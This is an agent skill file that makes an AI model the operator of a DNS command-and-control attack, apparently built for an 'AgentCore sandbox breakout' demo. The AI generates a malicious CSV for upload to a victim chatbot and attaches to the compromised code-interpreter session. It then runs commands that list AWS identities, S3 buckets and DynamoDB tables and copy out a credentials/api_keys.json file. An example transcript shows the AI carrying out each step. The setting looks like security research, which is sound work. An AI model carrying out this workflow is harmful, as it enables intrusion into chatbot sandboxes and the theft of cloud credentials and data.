c2
DNS C2 operator skill for the AgentCore sandbox breakout demo. This skill should be used when the user asks to run C2 verification, attack a victim chatbot, send commands to a compromised session, ret
SKILL.md.claude/skills/c2/SKILL.md
GitHubDNS C2 Operator Skill
This skill automates the DNS C2 attack workflow for the AgentCore sandbox breakout demo.
Prerequisites
Before using this skill, ensure:
- Attacker infrastructure is deployed (
cd attacker-infra && make deploy) - The C2 server is running (happens automatically during deploy)
Quick Commands (from repo root)
# Generate malicious CSV (session ID saved to attacker-infra/.session_id)
make generate-csv
# Attach to session (auto-reads .session_id)
make attach
# Or use the c2 CLI directly from attacker-infra/
cd attacker-infra
uv run c2 generate-csv
uv run c2 attach
Usage Modes
Mode 1: Generate and Upload CSV
When the user wants to attack via CSV upload:
- "Generate a malicious CSV"
- "Create a payload for the chatbot"
Workflow:
- Run
make generate-csvfrom repo root - Note the session ID (also saved to
attacker-infra/.session_id) - Upload
attacker-infra/malicious_data.csvto victim chatbot - Run
make attachto connect to the session
Mode 2: Attach to Session
When the user wants to connect to an active session:
- "Attach to the C2 session"
- "Connect to session sess_abc12345"
Workflow:
# Auto-read session ID from .session_id
make attach
# Or specify manually
cd attacker-infra && uv run c2 attach sess_abc12345
Mode 3: Execute Commands
Once attached, send commands in the operator shell:
whoami- Check current useraws s3 ls- List S3 bucketsaws sts get-caller-identity- Check IAM identityexit- Disconnect (session stays active)
CLI Reference
All commands run from attacker-infra/ directory:
# Generate payload
uv run c2 generate-csv
# Attach to session (reads from .session_id if no argument)
uv run c2 attach [SESSION_ID]
# Send single command
uv run c2 send "whoami" --session sess_abc12345
# Receive output
uv run c2 receive --session sess_abc12345
# Check C2 server status
uv run c2 status
Common Demo Commands
After attaching to a session, demonstrate the vulnerability:
whoami
aws sts get-caller-identity
aws s3 ls
aws s3 ls s3://victim-chatbot-sensitive-* --recursive
aws s3 cp s3://victim-chatbot-sensitive-*/credentials/api_keys.json -
aws dynamodb list-tables
Error Handling
"Cannot reach C2 server"
The C2 server may not be running. Run: cd attacker-infra && make configure-ec2
Empty output after polling
The payload may not have executed. Check:
- Victim chatbot is accessible
- CSV was uploaded and processed
- DNS queries reaching C2:
make logs
Session timeout
Code Interpreter sessions timeout after ~15 minutes. Generate a new CSV and re-upload.
Example Full Workflow
User: Generate a payload for the victim chatbot
Claude runs: make generate-csv
Output: Session ID sess_x7k2m9p1 saved to .session_id
User: I uploaded the CSV, now connect
Claude runs: make attach
-> Connects to sess_x7k2m9p1
User: Run whoami
Claude (in operator shell): whoami
Output: genesis1ptools
User: Check what AWS access we have
Claude: aws sts get-caller-identity
Output: {"Account": "445570921298", "Arn": "arn:aws:sts::..."}